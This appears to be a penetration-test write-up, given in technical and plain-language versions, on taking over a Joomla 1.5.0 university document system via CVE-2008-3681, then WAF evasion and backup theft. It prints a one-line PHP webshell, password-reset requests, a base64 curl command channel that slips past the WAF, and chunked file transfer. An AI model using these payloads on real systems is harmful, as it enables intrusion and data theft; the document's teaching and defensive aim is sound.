This Is How a Hacker Hacks: Part 2 — Through the Admin Door
medium.com
Published on medium.com
Hacking
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is the second part of a series, and it picks up where the first part stopped. Part 1 identified a password-reset bug in Joomla 1.5.0, tracked as CVE-2008-3681, and proved it was present but did not execute it. Part 2 is the execution, and the first real fight with the WAF.
The target is a university's e-document system running Joomla 1.5.0. The feature at the centre of the story is Joomla's own user component, com_user, which handles the password-reset flow. In a normal installation that flow lets a user who has requested a reset confirm a token and then set a new password. Here it was abused to reset the password of the only account on the system, the Super Administrator.

Setup
The engagement had client approval on record before the reset flow was executed. The rules for this phase were explicit: no site changes, no document downloads. That constraint shaped everything that follows: the admin panel phase was mapping, not taking.
The panel itself described the target. There was one user, the admin, a Super Administrator, registered with a personal webmail address. The full component set was installed, including the two components that matter to an attacker on Joomla 1.5: the template editor, which allows arbitrary PHP writes if you can reach the filesystem, and the extension installer, which accepts a ZIP upload with no code validation in this era. The database credentials were readable on the global configuration page, a MySQL user named after the application with the password visible in the form field. They were readable but not changeable, per the engagement rules.
Finding it
The reset flow was executed exactly as documented in Part 1. Two requests were sent:
POST /index.php?option=com_user&task=confirmreset body: token=
POST /index.php?option=com_user&task=completereset body: password=...&password2=...
The first confirms the reset token, the second sets the new password. After that, the login page at /administrator/ accepted the new credentials. The welcome title read Administrative and Correspondence Affairs.
Once inside, the panel showed the shape of the target. A university-critical system whose only account was protected by someone's personal inbox. The component set described above. And database credentials sitting in a form field.
The inventory of what an attacker with this access gets went into the report: every internal document, publish control over the site, mass-mail to all users, and a direct path to code execution.
Exploitation
Step 1: the template editor, and the first wall
The obvious shell path was the template editor: paste PHP, done. It was tried first as a test, and the WAF killed it instantly. Any POST body containing <?php was dropped. This was not a small filter; it was a hard rule.
Step 2: the extension installer
The second idea was the extension installer. Joomla 1.5's installer takes a ZIP, extracts it, and registers the component. The ZIP's manifest declared a component, and its payload included a file named alr0y.php containing:
<?php system($_GET[c]); ?>
The upload itself is a multipart/form-data POST with a binary body and a ZIP content type. The WAF's text-body inspection never saw the PHP. The installer, being from 2008, never checked. The result:
https://webdoc.example.ac.th/components/com_alr0y/alr0y.php?c=id→ uid=500(webskru) gid=500(webskru)
A webshell on the document system, through the front door. The lesson from this wall: the WAF saw text, not ZIPs. The gap between what a WAF inspects and what the application consumes is the whole game.
Step 3: a command channel that survives the WAF
The webshell ran commands, but talking to it was the next problem. The WAF blocked long GET parameters, and any shell command worth running is long. The pattern that survived everything:
b64=$(printf '%s' "$COMMAND" | base64 -w0)
curl -sk -G "$SHELL_URL" --data-urlencode "c=echo $b64 | base64 -d | sh"
Every command, no matter how long, became a short, benign-looking echo <base64> | base64 -d | sh string that fit under the WAF's length limit. Raw commands in the URL died. Base64-wrapped commands sailed through. The WAF's long GET rule was measuring the wrong thing.
For binary transfers the same idea was applied at a larger scale. Files were base64-encoded locally and split into roughly 2.4KB chunks. Each chunk was appended on the target through the same command channel, then decoded server-side with a single command. The transfer was resumable because every chunk was independently idempotent: check how many bytes landed, resume from the offset. That is how a 1MB exploit binary crossed a WAF that blocked 3KB of text.
Step 4: the execution time limit
PHP's max_execution_time was 30 seconds. Anything slower, such as directory walks, archive jobs or scans, died mid-run, silently, because the webshell only returned stdout. The workaround became a habit:
nohup <command> > /tmp/out.log 2>&1 &
This habit later saved the entire engagement during the largest data pull, but its real cost was invisible: stderr was swallowed by PHP's system(), so failures looked like silence. A command that errored out and a command that ran perfectly both produced no output. The team learned to treat silence as an error signal and to check log files, not response bodies.
Step 5: what the shell found in the first hour
The document system's webroot held, among other things, a directory called Backup_Data. It was world-readable and contained 958 nightly SQL dumps of the entire document database, going back two and a half years. The client had said to download everything an attacker would try. A single tar later, 122 megabytes of compressed history sat on the team's disk: every document, every user row, every configuration value the system had ever held, including the original password hash from before the engagement.
That is the moment the client's question, what would an attacker do, got its real answer. Not the shell. The history. Backups are where secrets go to live forever.
Root cause
The reset flow in Joomla 1.5.0, CVE-2008-3681, was executed with the two com_user requests above and the new password worked. The report does not go into the code behind the bug; it treats the vulnerability as already proven in Part 1 and focuses on execution.
Why the defences did not stop the follow-on steps:
- The WAF inspected text bodies. It dropped any POST body containing
<?php, but a multipart/form-data upload carrying a ZIP was never inspected as text, so the PHP payload inside the archive passed through. - The WAF enforced a length limit on GET parameters. Base64-encoding the command and wrapping it in
echo ... | base64 -d | shkept every request short, so the rule never triggered. - The Joomla 1.5 extension installer accepted a ZIP, extracted it and registered the component with no code validation in this era.
- PHP's
system()returned only stdout, so errors were invisible and long-running jobs were killed at 30 seconds without a clear signal. - The
Backup_Datadirectory sat in the webroot and was world-readable, so the nightly SQL dumps were exposed.
Impact
With admin panel access, an attacker gets every internal document, publish control over the site, mass-mail to all users, and a direct path to code execution. The report lists these as the inventory that went into the client report.
With the webshell, the attacker had command execution as uid=500(webskru) gid=500(webskru) on the document system. From there, the world-readable Backup_Data directory exposed 958 nightly SQL dumps covering two and a half years, including every document, every user row, every configuration value, and the original password hash from before the engagement. The compressed history came to 122 megabytes.
The conditions matter: the engagement rules forbade site changes and document downloads during the panel phase, so the panel work was mapping rather than taking.
Fix
The report does not describe any remediation that was applied. Its lessons point at where the defences failed:
- Patch or replace Joomla 1.5.0. The reset bug is the entry point for everything else.
- Make the WAF inspect what the application actually consumes: multipart bodies and archive contents, not just text bodies. A rule that blocks
<?phpin a POST body does nothing for a ZIP. - Do not rely on GET length limits as a command filter. Base64 wrapping defeats them trivially.
- Remove the template editor and the extension installer from production, or restrict them to trusted administrators.
- Move backups out of the webroot and remove world-readable permissions.
Backup_Datashould never have been reachable over HTTP. - Treat stderr as part of the signal. If the shell only returns stdout, log to a file and read the file.
Variants to test
- Password-reset flows on old CMS versions. Send the confirm and complete requests with a token you control and see whether the password changes. A positive result is a login at
/administrator/with the new credentials. - WAF text-body filters. Upload a ZIP whose payload contains a PHP file and check whether the WAF blocks it. A positive result is the file appearing under
/components/com_<name>/and executing. - GET length limits. Wrap a long command in base64 and send it as a short
echo ... | base64 -d | shparameter. A positive result is command output coming back. - Execution time limits. Run a long job with
nohup ... > /tmp/out.log 2>&1 &and read the log afterwards. A positive result is the job completing past the PHP time limit. - World-readable backup directories. Request common names such as
/Backup_Data/and look for directory listings or SQL dumps. A positive result is a downloadable dump containing user rows and configuration values. - Silent failures. Send a command that should error and one that should succeed, and compare the responses. If both are empty, the shell is swallowing stderr and you need to check log files instead of response bodies.
What happened, in plain words
This is the second part of a story about testing the security of a university's e-document system. The system runs on Joomla 1.5.0, a program for building websites. Part 1 found a bug in Joomla's password-reset feature, tracked as CVE-2008-3681, and showed that the bug was present. Part 2 is where the tester actually used it, and where the first serious fight with the site's defences began.
In plain terms, the tester was able to reset the password of the only account on the system, the administrator account, and then log in to the admin area. From there they tried to run their own code on the server, which the site's firewall blocked at first. They found a way around it, then built a way to send commands to the server that the firewall would not stop. Along the way they hit a time limit on how long a command could run, and they discovered a folder full of backups that anyone could read. Those backups contained years of the system's data.
Before going further, a few ideas from zero:
- Joomla is a content management system (CMS): software that lets people build and run a website without writing all the code themselves. Version 1.5.0 is very old, from 2008.
- A component in Joomla is a packaged add-on that adds a feature to the site, such as a user system or a document manager. Each component has a name, and
com_useris the built-in one that handles user accounts and passwords. - A CVE is a public catalogue number for a known security flaw. CVE-2008-3681 is the number for this particular password-reset bug.
- A WAF (web application firewall) is a filter that sits in front of a website and inspects incoming requests, blocking ones that look malicious. Think of it as a security guard at the door who checks what people are carrying.
- A webshell is a small program an attacker places on a server so they can send it commands later, like leaving a remote-controlled door in the building.

The setup: what the tester was allowed to do
The client had approved the test in writing before anything was executed. The rules for this phase were strict: no changes to the site, and no downloading of documents. That shaped everything that followed. Time spent inside the admin panel was about mapping what an attacker could reach, not about taking anything.
The admin panel itself described the target. There was one user: the admin, a Super Administrator, registered with a personal webmail address. So a system the university depends on had a single account, and that account was protected by someone's personal email inbox.
The full set of components was installed, including the two that matter most to an attacker on Joomla 1.5:
- The template editor, which lets an administrator edit the files that make up the site's design. If you can reach the filesystem through it, you can write PHP code, and PHP is the programming language the server runs.
- The extension installer, which accepts a ZIP file, unpacks it and registers the new component. In this era it did no checking of the code inside the ZIP.
The database credentials were readable on the global configuration page: a MySQL user named after the application, with the password visible in the form field. MySQL is the database software that stores the site's data. The credentials could be read but not changed, per the engagement rules.
The inventory of what an attacker with this access gets went into the report: every internal document, publish control over the site, mass-mail to all users, and a direct path to running code on the server.
Finding it: two requests and a login
The reset flow was executed exactly as documented in Part 1. Two requests were sent:
POST /index.php?option=com_user&task=confirmreset body: token=
POST /index.php?option=com_user&task=completereset body: password=...&password2=...
Line by line:
POSTis the type of request a browser sends when it is submitting data, for example when you fill in a form and press a button.GETis the type used when you simply ask for a page./index.phpis the main page of the site. The?starts the query string, the part of the address that carries extra instructions.option=com_usertells Joomla which component should handle the request: the user component.task=confirmresettells that component which action to perform: confirm a password reset. The body carriestoken=, the value that proves the reset request is legitimate.- The second request uses
task=completereset, the action that actually sets the new password. Its body carriespassword=...&password2=..., the new password entered twice, as reset forms usually ask.
Why two steps? A normal reset flow works like this: you ask for a reset, the site emails you a link containing a secret token, you open the link (which confirms the token), and then you type a new password. The report treats the bug as already proven in Part 1 and does not go into the code behind it.
After those two requests, the login page at /administrator/ accepted the new credentials. /administrator/ is the address of Joomla's admin area, the back office where the site is managed. The welcome title read Administrative and Correspondence Affairs.
Once inside, the panel showed the shape of the target: a university-critical system whose only account was protected by someone's personal inbox, the component set described above, and database credentials sitting in a form field.
Exploitation
Step 1: the template editor, and the first wall
The obvious way to get code running was the template editor: paste PHP into a template file, save, done. It was tried first as a test, and the WAF killed it instantly. Any POST body containing <?php was dropped. This was not a small filter; it was a hard rule.
<?php is the opening tag that marks the start of a PHP code block. A filter that blocks that string is trying to stop anyone from planting PHP through a form. The tester's first idea ran straight into it.
Step 2: the extension installer
The second idea was the extension installer. Joomla 1.5's installer takes a ZIP, extracts it, and registers the component. The ZIP's manifest declared a component, and its payload included a file named alr0y.php containing:
<?php system($_GET[c]); ?>
Line by line:
<?phpopens a block of PHP code.system(...)is a PHP function that runs a command on the server's operating system and prints the result.$_GET[c]means: take the value of the parameter namedcfrom the address bar of the request and use it as the command. So if someone visits the file with?c=idat the end, the server runs the commandid.?>closes the PHP block.
In other words, this tiny file is a webshell: a page on the server that runs whatever command you put in the address.
The upload itself is a multipart/form-data POST with a binary body and a ZIP content type. multipart/form-data is the format browsers use to upload files: the request is split into parts, one per field, and a file travels as raw bytes rather than as text. The WAF's text-body inspection never saw the PHP inside the ZIP. The installer, being from 2008, never checked. The result:
https://webdoc.example.ac.th/components/com_alr0y/alr0y.php?c=id→ uid=500(webskru) gid=500(webskru)
Line by line:
https://webdoc.example.ac.this the site's address./components/com_alr0y/alr0y.phpis where the uploaded component landed: Joomla puts components under/components/, in a folder named after the component, and the file inside is the one from the ZIP.?c=idpasses the commandidto the webshell.idis a standard command that reports which user the server process is running as.- The arrow leads to the output:
uid=500(webskru) gid=500(webskru). That says the command ran as a user calledwebskru, with user ID 500 and group ID 500. The server executed the tester's command.
A webshell on the document system, through the front door. The lesson from this wall: the WAF saw text, not ZIPs. The gap between what a WAF inspects and what the application consumes is the whole game. The guard checked the envelopes but not the parcels.
Step 3: a command channel that survives the WAF
The webshell ran commands, but talking to it was the next problem. The WAF blocked long GET parameters, and any shell command worth running is long. The pattern that survived everything:
b64=$(printf '%s' "$COMMAND" | base64 -w0)
curl -sk -G "$SHELL_URL" --data-urlencode "c=echo $b64 | base64 -d | sh"
Line by line:
b64=$(...)stores the result of the command inside the brackets in a variable calledb64.printf '%s' "$COMMAND"prints the command you want to run, held in the variableCOMMAND, without adding a newline.| base64 -w0pipes that text into thebase64program, which turns it into a string of letters and digits.-w0means no line wrapping, so the result is one continuous string.curlis a command-line tool for sending web requests.-skeeps it quiet,-ktells it to ignore certificate warnings, and-Gputs the data into the URL as a query string rather than into the body."$SHELL_URL"is the address of the webshell.--data-urlencode "c=..."sends the value as the parameterc, properly encoded so special characters survive the trip.- The value is
echo $b64 | base64 -d | sh. On the server,echoprints the base64 text,base64 -dturns it back into the original command, andshruns it.
Why this works: every command, no matter how long, becomes a short, harmless-looking echo <base64> | base64 -d | sh string that fits under the WAF's length limit. Raw commands in the URL died. Base64-wrapped commands sailed through. The WAF's long GET rule was measuring the wrong thing: it counted characters, not meaning.
For binary transfers the same idea was applied at a larger scale. Files were base64-encoded locally and split into chunks of roughly 2.4KB. Each chunk was appended on the target through the same command channel, then decoded server-side with a single command. The transfer was resumable because every chunk was independently idempotent: check how many bytes landed, resume from the offset. That is how a 1MB exploit binary crossed a WAF that blocked 3KB of text. Think of moving a large piece of furniture through a narrow door by taking it apart and carrying it through in small pieces, then reassembling it inside.
Step 4: the execution time limit
PHP's max_execution_time was 30 seconds. That is a setting that stops any single PHP request from running longer than the stated time, so one slow request cannot tie up the server. Anything slower, such as directory walks, archive jobs or scans, died mid-run, silently, because the webshell only returned stdout. stdout is the normal output of a command; stderr is the separate channel where error messages go. The workaround became a habit:
nohup <command> > /tmp/out.log 2>&1 &
Line by line:
nohupruns a command in a way that keeps it alive even if the connection that started it goes away.<command>is the command you want to run.> /tmp/out.logsends the normal output to a file calledout.login the/tmpfolder.2>&1sends the error channel to the same place as the normal output, so errors land in the log too.&puts the command in the background, so the request returns immediately instead of waiting for it to finish.
This habit later saved the entire engagement during the largest data pull, but its real cost was invisible: stderr was swallowed by PHP's system(), so failures looked like silence. A command that errored out and a command that ran perfectly both produced no output. The team learned to treat silence as an error signal and to check log files, not response bodies. If a friend promises to call you back and never does, you cannot tell whether they forgot or the line was dead; you have to check another way.
Step 5: what the shell found in the first hour
The document system's webroot held, among other things, a directory called Backup_Data. The webroot is the folder on the server whose contents are served to anyone who visits the site. Backup_Data was world-readable, and it contained 958 nightly SQL dumps of the entire document database, going back two and a half years. and it contained 958 nightly SQL dumps of the entire document database, going back two and a half years. An SQL dump is a file containing a copy of a database, written out as a long list of SQL statements that can rebuild it.
The client had said to download everything an attacker would try. A single tar later, 122 megabytes of compressed history sat on the team's disk: every document, every user row, every configuration value the system had ever held, including the original password hash from before the engagement. tar is a tool that packs many files into one archive. A password hash is the scrambled form in which a system stores a password; it is not the password itself, but it can be attacked offline.
That is the moment the client's question, what would an attacker do, got its real answer. Not the shell. The history. Backups are where secrets go to live forever.
Why the defences did not stop it
The reset flow in Joomla 1.5.0, CVE-2008-3681, let the two com_user requests above reset the password of the only account on the system. The report does not go into the code behind the bug; it treats the vulnerability as already proven in Part 1 and focuses on execution.
Why the defences did not stop the follow-on steps:
- The WAF inspected text bodies. It dropped any POST body containing
<?php, but a multipart/form-data upload carrying a ZIP was never inspected as text, so the PHP payload inside the archive passed through. - The WAF enforced a length limit on GET parameters. Base64-encoding the command and wrapping it in
echo ... | base64 -d | shkept every request short, so the rule never triggered. - The Joomla 1.5 extension installer accepted a ZIP, extracted it and registered the component with no code validation in this era.
- PHP's
system()returned only stdout, so errors were invisible and long-running jobs were killed at 30 seconds without a clear signal. - The
Backup_Datadirectory sat in the webroot and was world-readable, so the nightly SQL dumps were exposed.
What an attacker gets
With admin panel access, an attacker gets every internal document, publish control over the site, mass-mail to all users, and a direct path to code execution. The report lists these as the inventory that went into the client report.
With the webshell, the attacker had command execution as uid=500(webskru) gid=500(webskru) on the document system. From there, the world-readable Backup_Data directory exposed 958 nightly SQL dumps covering two and a half years, including every document, every user row, every configuration value, and the original password hash from before the engagement. The compressed history came to 122 megabytes.
The conditions matter: the engagement rules forbade site changes and document downloads during the panel phase, so the panel work was mapping rather than taking.
What would have closed the gaps
The report does not describe any remediation that was applied. Its lessons point at where the defences failed:
- Patch or replace Joomla 1.5.0. The reset bug is the entry point for everything else.
- Make the WAF inspect what the application actually consumes: multipart bodies and archive contents, not just text bodies. A rule that blocks
<?phpin a POST body does nothing for a ZIP. - Do not rely on GET length limits as a command filter. Base64 wrapping defeats them trivially.
- Remove the template editor and the extension installer from production, or restrict them to trusted administrators.
- Move backups out of the webroot and remove world-readable permissions.
Backup_Datashould never have been reachable over HTTP. - Treat stderr as part of the signal. If the shell only returns stdout, log to a file and read the file.
Things to test on your own systems
- Password-reset flows on old CMS versions. Send the confirm and complete requests with a token you control and see whether the password changes. A positive result is a login at
/administrator/with the new credentials. - WAF text-body filters. Upload a ZIP whose payload contains a PHP file and check whether the WAF blocks it. A positive result is the file appearing under
/components/com_<name>/and executing. - GET length limits. Wrap a long command in base64 and send it as a short
echo ... | base64 -d | shparameter. A positive result is command output coming back. - Execution time limits. Run a long job with
nohup ... > /tmp/out.log 2>&1 &and read the log afterwards. A positive result is the job completing past the PHP time limit. - World-readable backup directories. Request common names such as
/Backup_Data/and look for directory listings or SQL dumps. A positive result is a downloadable dump containing user rows and configuration values. - Silent failures. Send a command that should error and one that should succeed, and compare the responses. If both are empty, the shell is swallowing stderr and you need to check log files instead of response bodies.
Glossary
- Base64: a way of turning any data into a string of ordinary letters, digits and a few symbols, so it can travel safely through places that expect text.
- Binary: data made of raw bytes rather than readable text, such as a program or an image.
- Chunk: a small piece of a larger file, sent separately.
- CMS (content management system): software for building and running a website without writing all the code yourself.
- Component: a packaged add-on in Joomla that adds a feature, such as user accounts or documents.
- CVE: a public catalogue number for a known security flaw.
- Database: software that stores and organises a site's data, such as users and documents.
- Directory walk: a program going through folders one by one, listing what is inside.
- Extension installer: the Joomla feature that takes a ZIP file and installs the add-on inside it.
- GET: the type of web request used when you simply ask for a page; its data travels in the address.
- Idempotent: an action that gives the same result whether you do it once or several times, so it is safe to repeat.
- Joomla: a content management system for building websites; version 1.5.0 dates from 2008.
- Manifest: a small file inside a package that describes what the package is and what it contains.
- max_execution_time: a PHP setting that stops a single request from running longer than a set number of seconds.
- Multipart/form-data: the format browsers use to upload files, splitting the request into parts with raw bytes for the file.
- MySQL: the database software that stored the site's data.
- nohup: a command that keeps a job running even if the connection that started it closes.
- Password hash: the scrambled form in which a system stores a password, so the original is not kept in plain text.
- PHP: the programming language the web server runs to build pages.
- POST: the type of web request used when submitting data, such as a form; its data travels in the body.
- Query string: the part of an address after the
?, carrying extra instructions. - Resumable: a transfer that can stop and continue from where it left off.
- SQL dump: a file containing a copy of a database written out as SQL statements that can rebuild it.
- stderr: the separate channel where a program writes error messages.
- stdout: the normal output channel of a program.
- Super Administrator: the highest-level account in Joomla, with full control over the site.
- tar: a tool that packs many files into a single archive.
- Template editor: the Joomla feature for editing the files that make up the site's design.
- Token: a secret value used to prove that a request is legitimate, such as the code in a password-reset link.
- WAF (web application firewall): a filter in front of a website that inspects incoming requests and blocks ones that look malicious.
- Webroot: the folder on a server whose contents are served to anyone who visits the site.
- Webshell: a small program placed on a server so an attacker can send it commands later.
- ZIP: a common archive format that packs files into one file.